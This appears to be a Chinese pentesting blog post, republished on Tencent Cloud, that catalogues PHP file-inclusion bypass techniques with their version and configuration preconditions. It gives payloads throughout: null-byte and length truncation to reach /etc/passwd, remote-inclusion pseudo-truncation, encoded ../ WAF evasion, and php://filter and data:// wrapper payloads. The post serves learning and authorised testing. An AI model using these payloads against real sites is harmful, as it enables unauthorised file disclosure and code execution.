前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >【原创】确定不看吗?基础篇--文件包含Bypass漏洞总结

【原创】确定不看吗?基础篇--文件包含Bypass漏洞总结

作者头像
Power7089
发布2020-07-27 15:54:24
5760
发布2020-07-27 15:54:24
举报

作者:小仙人

介绍:安全武器库运营团队核心成员,享受星球原创文章待遇

声明

本篇文章为星球团队成员原创文章,已申请原创权限,如其他公众号有需要转文,请联系信安旅程运营人员。

前言:

本文的初衷是记录各种文件包含的绕过思路、技巧,总结了常规的绕过思路和各种奇淫技巧。这里可没有百分百能绕过的方法,除非你有0day,但是人家手上有0day怎么可能轻易分享呢。

你要了解的是什么呢?有两点!不要吝啬,拿出你的笔记了噢!利用方法和利用的前提条件。(这样一来,当你渗透时,你所收集到的信息一旦不满足利用的前提条件,你就可以排除此利用方法,这无疑是提高了渗透测试的效率。如果你无法收集到具体什么版本,那就用下面的利用姿势都走一遍吧)

常见的绕过思路:

有限制的本地文件包含绕过

(指定了后缀)

1

0x01 %00截断

前提条件:

PHP < 5.3.4、magic_quotes_gpc=Off

利用姿势:

?Path=../../../../etc/passwd%00

2

0x02 路径长度截断

前提条件:PHP<5.2.8

利用姿势:

?File=flag.txt/./././././././././././././././././././

:在Linux下4096字节时会达到最大值,在Windows下256字节时会达到最大值。只要不断重复./ 。

3

0x03 点号截断

前提条件:

PHP<5.2.8,只适用于Windows操作系统

利用姿势:

?File=flag.txt...............................................................

以上利用姿势,基本在PHP 5.3版本之后都失效了。在版本之后有什么截断方法吗?这里我看到前辈的一篇文章,介绍一种伪截断的方式来实现文件截断的。

注:以下思路摘自

https://www.jianshu.com/p/fb054a6fd851

有限制的远程文件包含绕过

(指定了后缀)

4

0x04 问号截断

前提条件:

未知,PHP>5.3的都可以尝试。

利用姿势:

?File=http://localhost/phpinfo.txt?

:其原理是WebServer?后面的内容当作请求的参数,而phpinfo.txt不在WebServer里面解析,从而使用问号来实现伪截断。

5

0x05 #号绕过

前提条件:

未知,PHP>5.3的都可以尝试。

利用姿势:

?File=http://localhost/phpinfo.txt#

6

0x06 空格绕过

前提条件:

未知,PHP>5.3的都可以尝试。

利用姿势:

?File=http://localhost/phpinfo.txt%20

7

0x07 利用伪协议绕过

前提条件:无

利用姿势:

?File=

zip://D:phpstudyWWWileincludechybeta.zip%23chybeta

这里要事先将phpinfo压缩好噢!不懂的可以看基础篇。

注:图片及思路摘自

https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/

绕WAF的奇淫技巧

绕WAF的姿势各种各样,我在这里也没法和大家说出一个详细方案,毕竟在绕WAF的道路上,通常都需要自己记录观察WAF的过滤规则,以下只是自己的一些心得。

相信各位师傅们在挖掘文件包含漏洞时会遇到WAF过滤../、~/、read、以及一些特殊符号等等,像单引、双引、#号等等。不仅仅是在挖掘文件包含漏洞才遇到,挖注入、XSS、RCE等等,相信都会遇到过吧。每一个厂商的WAF的过滤规则都不一样,具体还是要通过观察得出。

0x01 ../和..绕过

利用URL编码:如%2e%2e%2f / %2e%2e%5c、..%2f / ..%5c等等

利用二次编码:在一次URL编码基础上再进行编码

如:%252e%252e%252f / %252e%252e%255c

0x02 贪婪包含

场景:index.php?img=1.jpg

前提条件:未知

利用姿势:

Index.php?=img=php://filter/resource=../flag.php|jpg

(此利用姿势出自某CTF的题目)

0x03 通配符绕过

这里关于通配符绕过的姿势未知,我也查阅了一些文章,但是总结不到什么骚姿势出来,待定着吧。若是师傅们知道的,多多指导。

0x04 Base64编码绕过

利用姿势:

?file=php://filter/convert.base64-encode/resource=index.php

0x05 使用data伪协议读取文件

前提条件:allow_url_include=On

利用姿势:

file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg==

知识总结

1. 能利用00截断的场景有限,根据情况尝试使用。

2. 使用PHP伪协议对于绕WAF的效果更好。

3. 大多数文件包含漏洞都是需要截断的。

4. PHP 5.3版本之后全面修复了%00截断的问题。

5. 在URL中使用问号(?)、井号(#)可能会影响include包含的结果。

6. 总之有事没事就使用%00截断试试看吧,嘻嘻。

参考资料:

https://www.freebuf.com/articles/web/182280.html

https://www.cnblogs.com/xiaozi/p/7793857.html

https://bbs.ichunqiu.com/thread-28688-1-1.html?from=sec

https://chybeta.github.io/2017/10/08/php%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E/

http://mang0.me/archis/844a29d4/

https://wizardforcel.gitbooks.io/mst-sec-lecture-notes/%E6%BC%8F%E6%B4%9E%E7%AF%87%20%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB.html

以上是我在学习和实践后的总结,纯属个人看法,若有不足之处,欢迎各位在评论区中指出。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-02-26,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 程序员阿甘 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
网站渗透测试
网站渗透测试(Website Penetration Test,WPT)是完全模拟黑客可能使用的攻击技术和漏洞发现技术,对目标系统的安全做深入的探测,发现系统最脆弱的环节。渗透测试和黑客入侵最大区别在于渗透测试是经过客户授权,采用可控制、非破坏性质的方法和手段发现目标和网络设备中存在弱点,帮助管理者知道自己网络所面临的问题,同时提供安全加固意见帮助客户提升系统的安全性。腾讯云网站渗透测试由腾讯安全实验室安全专家进行,我们提供黑盒、白盒、灰盒多种测试方案,更全面更深入的发现客户的潜在风险。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档